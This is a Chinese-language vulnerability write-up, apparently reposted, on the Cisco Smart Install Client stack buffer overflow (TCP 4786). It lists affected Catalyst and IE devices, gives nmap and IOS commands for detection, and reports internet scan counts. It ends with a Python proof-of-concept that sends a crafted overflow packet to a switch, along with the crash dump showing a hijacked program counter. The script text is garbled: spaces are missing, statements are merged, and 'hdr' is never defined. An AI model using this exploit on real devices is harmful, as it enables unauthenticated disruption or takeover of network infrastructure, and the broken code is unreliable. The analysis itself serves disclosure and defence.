溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎么進(jìn)行思科Smart Install的遠(yuǎn)程代碼執(zhí)行漏洞的分析

發(fā)布時(shí)間:2021-12-20 22:01:32 來(lái)源:億速云 閱讀:163 作者:柒染 欄目:網(wǎng)絡(luò)安全

怎么進(jìn)行思科Smart Install的遠(yuǎn)程代碼執(zhí)行漏洞的分析,針對(duì)這個(gè)問(wèn)題,這篇文章詳細(xì)介紹了相對(duì)應(yīng)的分析和解答,希望可以幫助更多想解決這個(gè)問(wèn)題的小伙伴找到更簡(jiǎn)單易行的方法。

一、簡(jiǎn)介

系統(tǒng):Cisco IOS,Cisco IOS-XE

供應(yīng)商:思科

漏洞:緩沖區(qū)堆棧溢出漏洞[CWE-20][CWE-21]

危害:高危,AV:N/AC:L/Au:N/C:C/I:C/A:C (10.0)

研究人員在 Smart Install Client 代碼中發(fā)現(xiàn)一個(gè)緩沖區(qū)堆棧溢出漏洞。攻擊者利用這個(gè)漏洞可以不經(jīng)身份驗(yàn)證遠(yuǎn)程執(zhí)行任意代碼。也就是說(shuō),攻擊者能夠完全控制受漏洞影響的網(wǎng)絡(luò)設(shè)備。

Smart Install 功能是部署交換機(jī)的即插即用配置和鏡像管理功能。它自動(dòng)完成初始化,并為新的網(wǎng)絡(luò)交換器加載當(dāng)前操作系統(tǒng)的鏡像。這意味著用戶能夠?qū)⒁粋€(gè)交換器發(fā)送到另一個(gè)地址放置在網(wǎng)絡(luò)中,在無(wú)配置和管理員的情況下啟動(dòng)交換機(jī)。當(dāng)設(shè)備配置發(fā)生變化或者熱插拔損壞的設(shè)備時(shí),這個(gè)技術(shù)還為配置提供了備份。

一個(gè)使用了 Smart Install 的網(wǎng)絡(luò)包含了一組網(wǎng)絡(luò)設(shè)備,被稱為客戶端(client),它們由一個(gè)三層交換器或者路由器來(lái)提供服務(wù),作為它們的 director。

怎么進(jìn)行思科Smart Install的遠(yuǎn)程代碼執(zhí)行漏洞的分析    

Director 為客戶端交換器提供了一個(gè)用于鏡像和配置的單點(diǎn)管理??蛻舳私粨Q器與 director 直接或間接地連接,因此能夠收到下載的鏡像和配置。

通過(guò)官方文檔可以了解更多關(guān)于 Smart Install 技術(shù)的信息。

值得注意的是,Smart Install 客戶端是默認(rèn)開啟的,因此漏洞影響覆蓋范圍和危害性不言而喻,重點(diǎn)將在后文論述。

二、漏洞描述

SMI IBC Server Process 進(jìn)程中包含了 Smart Install Client的實(shí)現(xiàn)代碼。Smart Install Client在TCP(4786)端口上開啟服務(wù)(默認(rèn)開啟),用來(lái)與 Smart Install Director 交互。

當(dāng)服務(wù)處理一段特殊構(gòu)造的惡意信息 ibd_init_discovery_msg,就發(fā)生了緩沖區(qū)堆棧溢出。

更具體地說(shuō),這個(gè)溢出發(fā)生在 smi_ibc_handle_ibd_init_discovery_msg,

怎么進(jìn)行思科Smart Install的遠(yuǎn)程代碼執(zhí)行漏洞的分析

因?yàn)闆](méi)有檢查拷貝到固定大小緩沖區(qū)的數(shù)據(jù)尺寸。大小和數(shù)據(jù)是直接從網(wǎng)絡(luò)數(shù)據(jù)包中獲得的,并由攻擊者控制。

三、GeekPwn2017 香港站獲獎(jiǎng)項(xiàng)目

 怎么進(jìn)行思科Smart Install的遠(yuǎn)程代碼執(zhí)行漏洞的分析    

來(lái)自安全公司 Embedi 的白帽黑客George Nosenko 在 GeekPwn2017 黑客大賽香港站使用成功演示了這個(gè)漏洞,獲得“最佳技術(shù)獎(jiǎng)”,獎(jiǎng)金總計(jì) 25 萬(wàn)元。

根據(jù)大賽提出的場(chǎng)景要求,選手需要在思科 Catalyst 2960 交換機(jī)上完成以下兩個(gè)挑戰(zhàn):

1、重置或者替換 enable 密碼,獲得 EXEC 模式權(quán)限:

https://v.qq.com/x/page/z0616f2f7q8.html

2、劫持交換器與其他設(shè)備間的網(wǎng)絡(luò)流量:

https://v.qq.com/x/page/y0616rq52ca.html    

更多技術(shù)細(xì)節(jié)和漏洞利用編寫可以從“How To Cook Cisco”一文中了解。

四、漏洞檢測(cè)

如果你的思科網(wǎng)絡(luò)設(shè)備有一個(gè)開放的 TCP 4786 端口,那么它會(huì)受到漏洞影響。你可以通過(guò)掃描找到這樣的設(shè)備:

nmap -pT:4786 192.168.1.0/24

檢測(cè)網(wǎng)絡(luò)設(shè)備是否有 Smart Install Client 功能,可以嘗試執(zhí)行以下命令:

switch>showvstack config
Role:Client (SmartInstall enabled)
VstackDirector IP address: 0.0.0.0
switch>showtcp brief all
TCBLocal Address Foreign Address (state)
0344B794*.4786 *.* LISTEN
0350A018*.443 *.* LISTEN
03293634*.443 *.* LISTEN
03292D9C*.80 *.* LISTEN
03292504*.80 *.* LISTEN

五、互聯(lián)網(wǎng)掃描結(jié)果

當(dāng)在我們發(fā)現(xiàn)這個(gè)漏洞,認(rèn)為它只能被用于企業(yè)內(nèi)部攻擊。因?yàn)榘踩渲玫木W(wǎng)絡(luò)中 Smart Install 技術(shù)是不能通過(guò)互聯(lián)網(wǎng)訪問(wèn)的。

但是通過(guò)網(wǎng)絡(luò)掃描之后,我們發(fā)現(xiàn)情況并不是這樣子的。

在短暫的網(wǎng)絡(luò)掃描之后,我們立刻發(fā)現(xiàn)了大約250000 有漏洞的設(shè)備以及 850 萬(wàn)漏洞端口開放的設(shè)備。

或許這是由于 Smart Install 客戶端端口 TCP(4786)默認(rèn)開放,而且網(wǎng)絡(luò)管理員并沒(méi)有意識(shí)到其中可能存在的安全問(wèn)題。

六、受漏洞影響的軟硬件

怎么進(jìn)行思科Smart Install的遠(yuǎn)程代碼執(zhí)行漏洞的分析    

經(jīng)驗(yàn)證存在漏洞的設(shè)備包括:Catalyst 4500Supervisor Engines、Cisco Catalyst 3850 SeriesSwitches 和 CiscoCatalyst 2960 Series Switches。

Cisco Catalyst 4500 SupervisorEngine 6L-E

Cisco IOS 15.2.2E6 (Latest,Suggested)

cat4500e-entservicesk9-mz.152-2.E6.bin(23-DEC-2016)

Cisco Catalyst 2960-48TT-L Switch

Cisco IOS 12.2(55)SE11 (Suggested)

c2960-lanbasek9-mz.122-55.SE11.bin(18-AUG-2016)

Cisco IOS 15.0.2-SE10a (Latest)

c2960-lanbasek9-mz.150-2.SE10a.bin(10-NOV-2016)

Cisco Catalyst 3850-24P-E Switch

Cisco IOS-XE 03.03.05.SE

cat3k_caa-universalk9.SPA.03.03.05.SE.150-1.EZ5.bin(03-NOV-2014)

此外,所有具備 Smart Install Client 的設(shè)備都可能受到漏洞影響,包括下列:

Catalyst 4500 Supervisor Engines

Catalyst 3850 Series

Catalyst 3750 Series

Catalyst 3650 Series

Catalyst 3560 Series

Catalyst 2960 Series

Catalyst 2975 Series

IE 2000

IE 3000

IE 3010

IE 4000

IE 4010

IE 5000

SM-ES2 SKUs

SM-ES3 SKUs

NME-16ES-1G-P

SM-X-ES3 SKUs

更多信息,可以查詢:

CiscoSecurity Advisory

Cisco Feature Navigator

Supported Devices for Smart Install

七、POC

#smi_ibc_init_discovery_BoF.py
importsocket
importstruct
fromoptparse import OptionParser
# Parsethe target options
parser =OptionParser()
parser.add_option("-t","--target", dest="target", help="Smart InstallClient", de
fault="192.168.1.1")parser.add_option("-p", "--port", dest="port",type="int", h
elp="Portof Client", default=4786) (options, args) = parser.parse_args()
defcraft_tlv(t, v, t_fmt='!I', l_fmt='!I'):
return struct.pack(t_fmt,t) + struct.pack(l_fmt, len(v)) + v
defsend_packet(sock, packet):
sock.send(packet)
defreceive(sock):
returnsock.recv()
if__name__ == "__main__":
print"[*] Connecting to Smart Install Client ", options.target,"port", optio
ns.port
con =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
con.connect((options.target,options.port))
payload= 'BBBB' * 44 shellcode = 'D' * 2048
data ='A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payl
oad
tlv_1 =craft_tlv(0x00000001, data) tlv_2 = shellcode
pkt =hdr + tlv_1 + tlv_2
print"[*] Send a malicious packet" send_packet(con, pkt)

攻擊命令:

host$./smi_ibc_init_discovery_BoF.py -t 192.168.1.1

交換機(jī)應(yīng)當(dāng)報(bào)錯(cuò)并重啟:

0
-Traceback=42424240
Writingcrashinfo to flash:/crashinfo_ext/crashinfo_ext_15
===Flushing messages (00:10:39 UTC Mon Mar 1 1993) === Buffered messages:
...
Queuedmessages:
CiscoIOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELE
ASESOFTWARE
(fc3)
TechnicalSupport: http://www.cisco.com/techsupport
Copyright(c) 1986-2016 by Cisco Systems, Inc.
CompiledWed 17-Aug-16 13:46 by prod_rel_team
InstructionTLB Miss Exception (0x1200)!
SRR0 =0x42424240 SRR1 = 0x00029230 SRR2 = 0x0152ACE4 SRR3 = 0x00029230
ESR =0x00000000 DEAR = 0x00000000 TSR = 0x84000000 DBSR = 0x00000000
CPURegister Context:
Vector =0x00001200 PC = 0x42424240 MSR = 0x00029230 CR = 0x33000053
LR =0x42424242 CTR = 0x014D5268 XER = 0xC000006A
R0 =0x42424242 R1 = 0x02B1B0B0 R2 = 0x00000000 R3 = 0x032D12B4
R4 =0x000000B6 R5 = 0x0000001E R6 = 0xAA3BEC00 R7 = 0x00000014
R8 =0x0000001E R9 = 0x00000000 R10 = 0x001BA800 R11 = 0xFFFFFFFF
R12 =0x00000000 R13 = 0x00110000 R14 = 0x0131E1A8 R15 = 0x02B1B1A8
R16 =0x02B1B128 R17 = 0x00000000 R18 = 0x00000000 R19 = 0x02B1B128
R20 =0x02B1B128 R21 = 0x00000001 R22 = 0x02B1B128 R23 = 0x02B1B1A8
R24 =0x00000001 R25 = 0x00000000 R26 = 0x42424242 R27 = 0x42424242
R28 =0x42424242 R29 = 0x42424242 R30 = 0x42424242 R31 = 0x42424242
Stacktrace:
PC =0x42424240, SP = 0x02B1B0B0
Frame00: SP = 0x42424242 PC = 0x42424242

關(guān)于怎么進(jìn)行思科Smart Install的遠(yuǎn)程代碼執(zhí)行漏洞的分析問(wèn)題的解答就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,如果你還有很多疑惑沒(méi)有解開,可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識(shí)。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI